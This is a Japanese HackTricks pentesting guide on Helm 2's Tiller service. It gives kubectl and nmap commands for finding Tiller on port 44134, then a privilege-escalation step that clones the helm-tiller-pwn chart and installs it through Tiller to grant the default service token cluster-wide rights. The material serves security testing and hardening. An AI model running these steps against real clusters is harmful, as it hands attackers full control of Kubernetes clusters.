ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **HackTricks**(https://github.com/carlospolop/hacktricks)および**HackTricks Cloud**(https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
# 基本情報
HelmはKubernetesの**パッケージマネージャ**です。YAMLファイルをパッケージ化して公開およびプライベートリポジトリで配布することができます。これらのパッケージは**Helm Charts**と呼ばれます。**Tiller**はデフォルトでポート44134で実行されている**サービス**です。
**デフォルトポート:** 44134
```
PORT STATE SERVICE VERSION
44134/tcp open unknown
```
# 列挙
異なる名前空間の**ポッドおよび/またはサービスを列挙**できる場合は、それらを列挙して、名前に**"tiller"**が含まれるものを検索します:
```bash
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n | grep -i "tiller"
kubectl get services -n | grep -i "tiller"
```
例:
```bash
kubectl get pods -n kube-system
NAME READY STATUS RESTARTS AGE
kube-scheduler-controlplane 1/1 Running 0 35m
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
kubectl get services -n kube-system
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kube-dns ClusterIP 10.96.0.10 53/UDP,53/TCP,9153/TCP 35m
tiller-deploy ClusterIP 10.98.57.159 44134/TCP 35m
```
You could also try to find this service running checking the port 44134:
### ポート44134をチェックして、このサービスが実行されているかもしれません。
```bash
sudo nmap -sS -p 44134
```
一度それを発見したら、クライアントhelmアプリケーションをダウンロードして通信できます。 `homebrew`などのツールを使用するか、[**公式リリースページ**](https://github.com/helm/helm/releases)**を参照してください**。詳細や他のオプションについては、[インストールガイド](https://v2.helm.sh/docs/using\_helm/#installing-helm)を参照してください。
その後、**サービスを列挙**できます:
```
helm --host tiller-deploy.kube-system:44134 version
```
## 特権昇格
デフォルトでは、**Helm2** は **kube-system** ネームスペースに **高い権限** でインストールされていました。そのため、サービスを見つけてアクセス権を持っている場合、これにより **権限を昇格** することができます。
必要なのは、次のようなパッケージをインストールするだけです: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) これにより、**デフォルトのサービストークンがクラスタ全体のすべてにアクセスできる** ようになります。
```
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
```
[http://rui0.cn/archives/1573](http://rui0.cn/archives/1573)には**攻撃の説明**がありますが、基本的には_helm-tiller-pwn/pwnchart/templates/_内の[**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml)と[**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml)ファイルを読むと、**すべての権限がデフォルトトークンに与えられている**のがわかります。